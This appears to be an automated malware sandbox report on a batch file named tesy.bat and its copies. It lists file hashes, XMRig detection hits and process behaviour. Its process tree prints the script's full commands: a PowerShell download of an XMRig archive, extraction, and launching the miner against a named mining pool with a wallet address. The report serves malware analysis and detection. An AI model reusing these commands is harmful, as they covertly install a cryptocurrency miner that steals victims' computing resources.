Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-1703-x64
10tesy - Copy (11).bat
windows10-1703-x64
10tesy - Copy (12).bat
windows10-1703-x64
10tesy - Copy (13).bat
windows10-1703-x64
10tesy - Copy (14).bat
windows10-1703-x64
10tesy - Copy (2).bat
windows10-1703-x64
10tesy - Copy (3).bat
windows10-1703-x64
10tesy - Copy (4).bat
windows10-1703-x64
10tesy - Copy (5).bat
windows10-1703-x64
10tesy - Copy (6).bat
windows10-1703-x64
10tesy - Copy (7).bat
windows10-1703-x64
10tesy - Copy (8).bat
windows10-1703-x64
10tesy - Copy (9).bat
windows10-1703-x64
10tesy - Copy.bat
windows10-1703-x64
10tesy.bat
windows10-1703-x64
10Analysis
- max time kernel
1792s - max time network
1793s - platform
windows10-1703_x64 - resource
win10-20231220-en - resource tags
arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system - submitted
01/01/2024, 03:11
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10-20231215-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10-20231215-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10-20231220-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10-20231215-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10-20231215-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10-20231215-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10-20231215-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10-20231215-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10-20231215-en
General
- Target tesy.bat
- Size 608B
- Sample240101-dppkasdcf5
- SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
- MD5 727c8da0478af118c957ae60f7161cab
- SHA1 cf18105b8659e93bbd2824fa35ef1bae7b395301
- SHA512 d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
- XMRig Miner payload 46 IoCs
resource yara_rule behavioral15/memory/3256-122-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-123-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-126-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-127-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-128-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-131-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-132-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-133-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-134-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-135-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-136-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-137-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-138-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-139-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-140-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-141-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-142-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-143-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-144-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-145-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-146-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-147-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-148-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-149-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-150-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-151-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-152-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-153-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-154-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-155-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-156-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-157-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-158-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-159-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-160-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-161-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-162-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-163-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-164-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-165-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-166-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-167-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-168-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-169-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-170-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig behavioral15/memory/3256-171-0x00007FF603AE0000-0x00007FF6045E3000-memory.dmp xmrig - Blocklisted process makes network request 2 IoCs
flow pid Process 2 1452 powershell.exe 7 1452 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 3256 xmrig.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1452 powershell.exe 1452 powershell.exe 1452 powershell.exe 3460 powershell.exe 3460 powershell.exe 3460 powershell.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1452 powershell.exe Token: SeDebugPrivilege 3460 powershell.exe Token: SeLockMemoryPrivilege 3256 xmrig.exe Token: SeLockMemoryPrivilege 3256 xmrig.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3256 xmrig.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 204 wrote to memory of 1452 204 cmd.exe 17 PID 204 wrote to memory of 1452 204 cmd.exe 17 PID 204 wrote to memory of 3460 204 cmd.exe 76 PID 204 wrote to memory of 3460 204 cmd.exe 76 PID 204 wrote to memory of 3256 204 cmd.exe 77 PID 204 wrote to memory of 3256 204 cmd.exe 77
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:204 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1452
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3460
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3256
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0
- MD5 42d4b1d78e6e092af15c7aef34e5cf45
- SHA1 6cf9d0e674430680f67260194d3185667a2bb77b
- SHA512 d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 9b1838e8bbfd4b5e9b684977773e1c90738086bd8a32ffabadc4191f35ec1787
- MD5 52ed39050a29a3de7c6dfd33159be4c5
- SHA1 ac80c4d5c791c72a44a1bed5484d15196ed63ac3
- SHA512 f47686d1a0770b31f3c2037dd1e79bba31c2ef760c94aba6d0b911efe940d0dd0dc5fa0ef318070873c66e0bb5de7d6979db008512e1271a62cfbbb2a0041dd7
- MD5 SHA1 SHA512